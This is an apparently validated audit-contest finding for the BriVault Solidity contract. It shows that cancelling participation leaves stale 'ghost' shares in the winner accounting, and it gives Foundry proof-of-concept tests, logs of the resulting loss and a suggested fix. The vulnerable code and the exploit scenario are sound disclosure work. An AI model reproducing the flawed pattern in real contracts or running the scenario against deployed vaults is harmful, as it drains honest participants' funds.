BriVault

First Flight #52

Beginner FriendlySolidity

100 EXP

View results

Previous Next

Submission Details

Severity: medium

Valid

Cancellation Does Not Remove User From Winner Accounting

0xscratch

Root + Impact

Description

The briVault::cancelParticipation function lets anyone cancel their participation after they have joined the event. Such functionality should definitely be there, in case the user feels like opting out of the event.
However, the function only refunds assets and burns shares, and does not remove the user from:
- userAddress array
- userSharesToCountry[user][countryId]
- etc..
Because of this, when setWinner() later calls _getWinnerShares(), the user is still counted as a participant and still contributes ghost shares to totalWinnerShares, even though:
- They no longer have shares
- They no longer have staked assets
- They are no longer participating
This means the user who cancelled reduces everyone else’s withdrawal payout because the denominator becomes inflated due to stale ghost shares, directly stealing value from the real winners.

function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
// ...

@> _getWinnerShares();

// ...
}

// ...

function _getWinnerShares () internal returns (uint256) {

for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
@> return totalWinnerShares; // Also considers those users' shares who have cancelled their participation
}

// ...

function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}

uint256 refundAmount = stakedAsset[msg.sender];

stakedAsset[msg.sender] = 0;

uint256 shares = balanceOf(msg.sender);

_burn(msg.sender, shares);

@> // No deduction from `userSharesToCountry`
@> // No deduction from `usersAddress`

IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

// ...

function withdraw() external winnerSet {
// ...

// `totalWinnerShares` acts as the denominator here, thus trimming `assetToWithdraw`
@> uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);

// ...
}

Risks

Likelihood: High

Any participant can do this intentionally before the event starts.
No special timing, no fee, no privileged access needed.

Impact: High/Medium

Cancelling users steal a portion of the reward pool from real winners.
Can prevent winners from withdrawing entirely (DoS) if the vault becomes insolvent.
System fairness breaks completely.

Proof Of Concept

For this, two tests have been created; it's advisable to run them both.
First test, test_HonestScenario, shows how things might look in a normal case:

function test_HonestScenario() public {
// setup
vm.prank(owner);
briVault.setCountry(countries);

console.log("//// HONEST SCENARIO ////");
console.log();

// User1 deposits `5e18` tokens and joins the event
vm.startPrank(user1);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
vm.stopPrank();

console.log("User1 deposits 5e18 tokens and joins the event");
console.log("User1 token balance:", mockToken.balanceOf(user1));
console.log("User1 staked Assets:", briVault.stakedAsset(user1));
console.log("User1 userSharesToCountry:", briVault.userSharesToCountry(user1, 10));

// Later, another user joins the event
vm.startPrank(user2);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();

console.log();
console.log("User2 deposits 5e18 tokens and joins the event");
console.log("User2 token balance:", mockToken.balanceOf(user2));
console.log("User2 staked Assets:", briVault.stakedAsset(user2));
console.log("User2 userSharesToCountry:", briVault.userSharesToCountry(user2, 10));

// Event starts
vm.warp(eventStartDate + 1);

// Event ends, and owner sets the winner
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(10);

// User1 withdraws
vm.prank(user1);
briVault.withdraw();

// User2 withdraws
vm.prank(user2);
briVault.withdraw();

// Both User1 and User2 gets a fair share...
console.log();
console.log("User1 withdraws...");
console.log("User1 token balance:", mockToken.balanceOf(user1));
console.log();
console.log("User2 withdraws...");
console.log("User2 token balance:", mockToken.balanceOf(user2));

}
2nd test, test_UserStillPartOfEventEvenAfterCancellation, showcases the vulnerability part:

function test_UserStillPartOfEventEvenAfterCancellation() public {
// setup
vm.prank(owner);
briVault.setCountry(countries);

console.log("//// EXPLOIT SCENARIO ////");
console.log();

// User3 deposits `5e18` tokens and joins the event
vm.startPrank(user3);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, user3);
briVault.joinEvent(10);
vm.stopPrank();

console.log("User3 deposits 5e18 tokens and joins the event");
console.log("User3 token balance:", mockToken.balanceOf(user3));
console.log("User3 staked Assets:", briVault.stakedAsset(user3));
console.log("User3 userSharesToCountry:", briVault.userSharesToCountry(user3, 10));

// Later, another user joins the event
vm.startPrank(user4);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(5 ether, user4);
briVault.joinEvent(10);
vm.stopPrank();

console.log();
console.log("User4 deposits 5e18 tokens and joins the event");
console.log("User4 token balance:", mockToken.balanceOf(user4));
console.log("User4 staked Assets:", briVault.stakedAsset(user4));
console.log("User4 userSharesToCountry:", briVault.userSharesToCountry(user4, 10));

// But here, User3 decides to cancel his participation for some reason
vm.prank(user3);
briVault.cancelParticipation();

console.log();
console.log("User3 cancels participation...");
console.log("User3 token balance:", mockToken.balanceOf(user3));
console.log("User3 staked Assets:", briVault.stakedAsset(user3));
console.log("User3 userSharesToCountry:", briVault.userSharesToCountry(user3, 10));

// As we can see, user3 shares are still part of `userSharesToCountry` mapping and haven't been removed
// Let's see the effect of it...

// Event starts
vm.warp(eventStartDate + 1);

// Event ends, and owner sets the winner
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(10);

console.log();
console.log("totalWinnerShares present in the Vault right now:", briVault.totalWinnerShares());
console.log("Whereas, the real totalWinnerShares should be:", briVault.totalWinnerShares() - briVault.userSharesToCountry(user3, 10));

// Now this affects the winner's shares, as in `withdraw`, the `assetToWithdraw` is calculated using:
// `Math.mulDiv(shares, vaultAsset, totalWinnerShares)`
// `totalWinnerShares` acts as the denominator, and is of higher value than it should be, which will trim the winner's prize

// User3 withdraws
vm.prank(user3);
briVault.withdraw();

// User3 will get nothing even after calling `withdraw` as his shares were already burnt
console.log();
console.log("User3 withdraws...");
console.log("User3 token balance:", mockToken.balanceOf(user3));

// User4 withdraws
vm.prank(user4);
briVault.withdraw();

// User4 will get affected, compare his token balance to that of `user2` in the honest scenario
console.log();
console.log("User4 withdraws...");
console.log("User4 token balance:", mockToken.balanceOf(user4));
console.log("User4 lost tokens:", mockToken.balanceOf(user3) - mockToken.balanceOf(user4));
}
Run both tests using:

forge test --mt test_HonestScenario -vv
forge test --mt test_UserStillPartOfEventEvenAfterCancellation -vv
Logs:

Ran 1 test for test/briVault.t.sol:BriVaultTest
[PASS] test_HonestScenario() (gas: 1925852)
Logs:
//// HONEST SCENARIO ////

User1 deposits 5e18 tokens and joins the event
User1 token balance: 15000000000000000000
User1 staked Assets: 4925000000000000000
User1 userSharesToCountry: 4925000000000000000

User2 deposits 5e18 tokens and joins the event
User2 token balance: 15000000000000000000
User2 staked Assets: 4925000000000000000
User2 userSharesToCountry: 4925000000000000000

User1 withdraws...
User1 token balance: 19925000000000000000

User2 withdraws...
User2 token balance: 19925000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.28ms (1.22ms CPU time)

...

Ran 1 test for test/briVault.t.sol:BriVaultTest
[PASS] test_UserStillPartOfEventEvenAfterCancellation() (gas: 1956852)
Logs:
//// EXPLOIT SCENARIO ////

User3 deposits 5e18 tokens and joins the event
User3 token balance: 15000000000000000000
User3 staked Assets: 4925000000000000000
User3 userSharesToCountry: 4925000000000000000

User4 deposits 5e18 tokens and joins the event
User4 token balance: 15000000000000000000
User4 staked Assets: 4925000000000000000
User4 userSharesToCountry: 4925000000000000000

User3 cancels participation...
User3 token balance: 19925000000000000000
User3 staked Assets: 0
User3 userSharesToCountry: 4925000000000000000

totalWinnerShares present in the Vault right now: 9850000000000000000
Whereas, the real totalWinnerShares should be: 4925000000000000000

User3 withdraws...
User3 token balance: 19925000000000000000

User4 withdraws...
User4 token balance: 17462500000000000000
User4 lost tokens: 2462500000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.81ms (987.25µs CPU time)

Recommended Mitigation

cancelParticipation must fully revert the user's tournament state:

- function cancelParticipation () public {

+ function cancelParticipation (uint256 _countryId) public {

if (block.timestamp >= eventStartDate){

revert eventStarted();

}

uint256 refundAmount = stakedAsset[msg.sender];

stakedAsset[msg.sender] = 0;

uint256 shares = balanceOf(msg.sender);

_burn(msg.sender, shares);

+ userSharesToCountry[msg.sender][_countryId] = 0;

+ numberOfParticipants--;

+ totalParticipantShares -= shares;

+ // Logic for removal of `msg.sender` from `userAddress` array

IERC20(asset()).safeTransfer(msg.sender, refundAmount);

}

Updates

Appeal created

bube Lead Judge 19 days ago

Submission Judgement Published

Validated

Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

Rewards breakdown

nSLOC

193

This contest has a flat reward structure with the following payouts:

High

100 EXP

Medium

20 EXP

Low

2 EXP

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!